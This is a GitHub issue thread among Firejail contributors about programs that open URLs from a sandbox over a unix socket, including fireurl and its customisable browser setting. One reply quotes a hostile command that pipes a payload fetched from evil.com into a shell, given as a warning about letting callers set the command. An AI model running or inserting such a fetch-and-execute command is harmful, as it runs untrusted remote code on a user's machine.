Is there a program that listens to URL requests on a unix socket and opens appropriate programs?

[amano-kenji]

Having to copy and paste links is tiresome. I just want to click links and see an appropriate program open.

Is there a program that listens to URL requests on a unix socket and opens appropriate programs?

Or, should I write one?

Relates to:

• [meta] Opening links outside of the sandbox #6462

[kmk3]

@amano-kenji on Feb 27:

Having to copy and paste links is tiresome. I just want to click links and
see an appropriate program open.

Is there a program that listens to URL requests on a unix socket and opens
appropriate programs?

You're in luck, as there are at least two implementations of that; see the
following discussion and the linked discussions:

• Custom URL handlers and fireurl #5582

[amano-kenji]

Is https://github.com/rusty-snake/fireurl it? What is another implementation?

[glitsj16]

Is https://github.com/rusty-snake/fireurl it?

Yes that's the correct link for fireurl, which is written in rust.

What is another implementation?

The second implementation can be found in #5582. Check the example code there for url-writer + url-reader / fireurl + fireurld ( written as POSIX shell scripts).

Caveat: these are both working fine last I checked, but limited to URL-handling only. If you need something that supports more application handlers like irc(s), mailto, magnet, ... your best bet would be to write your own. You could ofcourse build on the above and add other mime-handlers. Or create your own custom xdg-open and adjust your firejail profiles accordingly.

[amano-kenji]

fireurl uses firefox only. I don't like that. It should be customizable.

[glitsj16]

fireurl uses firefox only. I don't like that. It should be customizable.

Please bare in mind that this is at the discretion of the software's author (which happens to be a highly regarded collaborator to the Firejail project). People create/share these tools voluntarily, for free. So I'd say 'regular' procedures apply, meaning you can request enhancements or open PR's at the project's home page/issue tracker.

Try the second set of POSIX shell scripts for supporting a different web browser than Firefox. According to their code you can set the BROWSER environment variable.

Whichever way you go, just remember that for supporting additional firejailed web browsers you probably have to add overrides to the relevant profiles to allow access to the UNIX socket.

[rusty-snake]

Or did you mean something like

fireurl --command="/bin/sh -c 'curl %u | sh'" https://evil.com/payload

I hope I don't have to say with this is a bad idea.

[amano-kenji]

I didn't read link fully. Sorry.

Yes, I imagined something like

fireurl --command="qutebrowser" https://github.com

Since you control what goes in --command, I think it's safe?

[amano-kenji]

Anyway, having a mapping from URL protocols to programs can be cool. But, what about local file paths?

Are you sure you don't want to be an alternative to xdg-open?

[rusty-snake]

Since you control what goes in --command, I think it's safe?

How is you?

It's not necessarily the user. It's every program that can use fireurl. And the original idea was that a sandboxed program calls fireurl to open links.

But, what about local file paths?

There are two things.

1. local file paths via file:-uri
   • are covered with an uri-to-cmd config
2. and local file paths like /home/me/Downloads/funny01.png.
   • are more difficult
   • how do we handle program association?
     • via file extension?
       • what if file does not has one
     • sniff the content with something like file to get the mime type
       • but the files might be untrusted
     • just let an external program (xdg-open, file-manager, ...) handle it
       • but the might be doing the sniffing w/o any sandbox
   • how can we have restrictions on the uri when anything is a legitimate local paths?

Are you sure you don't want to be an alternative to xdg-open?

Not in the sense I understand "to be an alternative to xdg-open". I the sense I think you mean "to be an alternative to xdg-open" i.e. an "xdg-open on steroids" can be an goal in the long run.

[amano-kenji]

I think fireurl at least should handle multiple URL protocols.

[rusty-snake]

fireurl 0.2.0: You can now set FIREURL_BROWSER=brave-browser (or whatever you want).